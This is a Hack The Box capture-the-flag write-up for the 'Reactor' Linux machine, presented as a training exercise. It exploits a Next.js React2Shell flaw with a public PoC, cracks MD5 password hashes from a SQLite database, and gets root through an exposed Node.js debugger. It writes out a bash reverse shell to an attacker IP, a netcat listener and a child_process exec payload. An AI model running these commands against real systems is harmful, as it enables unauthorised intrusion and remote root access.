> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-10-03

Hack The Box — Reactor (Linux)

The react2shell vulnerability allows us to get a shell on the system. We find a SQLite database and we crack the password of the engineer user. Then, we abuse the Node.js debugger to get a reverse shell as root.

Target

  • IP: 10.129.3.218

Port scan

sudo nmap -sC -sV 10.129.3.218 -p- -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000,
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sun, 24 May 2026 10:51:08 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions:
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sun, 24 May 2026 10:51:08 GMT
|     Connection: close
|   Help, NCP, RPCCheck:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sun, 24 May 2026 10:51:09 GMT
|_    Connection: close

Web enumeration

Go to http://10.129.3.218:3000/. We see a dashboard with monitoring information about a reactor system.

Looking at the headers of the HTTP response, we see:

vary                        RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache              HIT
x-nextjs-prerender          1
x-nextjs-stale-time         4294967294
x-powered-by                Next.js

So the website is built using Next.js. Searching on internet, we see that a severe vulnerability exists in Next.js when it uses React Server Components (which is our case), which is called react2shell.

Exploiting React2Shell

Here there is a scanner (https://github.com/assetnote/react2shell-scanner). Run it:

python3 react2shell-scanner/scanner.py -u http://10.129.4.203:3000

And we get:

[VULNERABLE] http://10.129.4.203:3000 - Status: 303

============================================================
SCAN SUMMARY
============================================================
  Total hosts scanned: 1
  Vulnerable: 1
  Not vulnerable: 0
  Errors: 0
============================================================

There is also a POC exploit for this vulnerability: https://github.com/xalgord/React2Shell. Clone the repo and run it:

python3 React2Shell/react2shell.py -u http://10.129.4.203:3000/

We get a shell

ubuntu@target:/opt/reactor-app$ ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db

According to the instructions in the repo README, we can download a file with the command .download

.download reactor.db

Let's inspect the file:

file downloaded/reactor.db
downloaded/reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7

Cracking the password of engineer user

So it's a SQLite database. We can open it with sqlite3:

sqlite3 downloaded/reactor.db
.tables
sensor_logs  users
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Put these lines:

admin:a203b22191d744a4e70ada5c101b17b8
engineer:39d97110eafe2a9a68639812cd271e8e

In a file hash and run hashcat on it:

hashcat -a 0 -m 0 ./hash ./rockyou.txt --username
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username --show

We get:

engineer:39d97110eafe2a9a68639812cd271e8e:reactor1

So we have the credentials of the engineer user: engineer:reactor1. We can use them to log in via SSH on port 22.

ssh engineer@10.129.4.203

We get a shell.

id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)

The engineer user belongs to the lxd group. According to this hacktricks page (https://hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html), we can abuse this group to become root.

We can follow the guide on the website. However, when I run the command lxc image import lxd.tar.xz rootfs.squashfs --alias alpine on the target machine, it gets stuck on Installing LXD snap, please be patient..

So I looked for another route.

Let's see the open local ports:

ss -ltpn
State       Recv-Q      Send-Q           Local Address:Port           Peer Address:Port     Process
LISTEN      0           511                  127.0.0.1:9229                0.0.0.0:*
LISTEN      0           4096                   0.0.0.0:22                  0.0.0.0:*
LISTEN      0           4096             127.0.0.53%lo:53                  0.0.0.0:*
LISTEN      0           4096                127.0.0.54:53                  0.0.0.0:*
LISTEN      0           4096                      [::]:22                     [::]:*
LISTEN      0           511                          *:3000                      *:*

We see the port 9229 is open. This is the default port for the Node.js debugger.

Abusing the Node.js debugger - Reverse shell as root

Useful page: https://hacktricks.wiki/en/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.html

To connect to the debugger, let's first forward the port to our local machine:

ssh engineer@10.129.4.203 -NL 9229:localhost:9229

Then open chrome and type chrome://inspect in the address bar. We should see the target port 9229 there. Click on "inspect" and we get a DevTools window.

Now, on the target machine, create a reverse shell script:

echo 'bash -i >& /dev/tcp/10.10.16.116/4444 0>&1' > /dev/shm/rev

Start a listener on our attacking machine:

nc -vlnp 4444

On the Chrome developer tools, go to the "Console" tab and run:

process.mainModule.require('child_process').exec('bash /dev/shm/rev');

We get a reverse shell as root.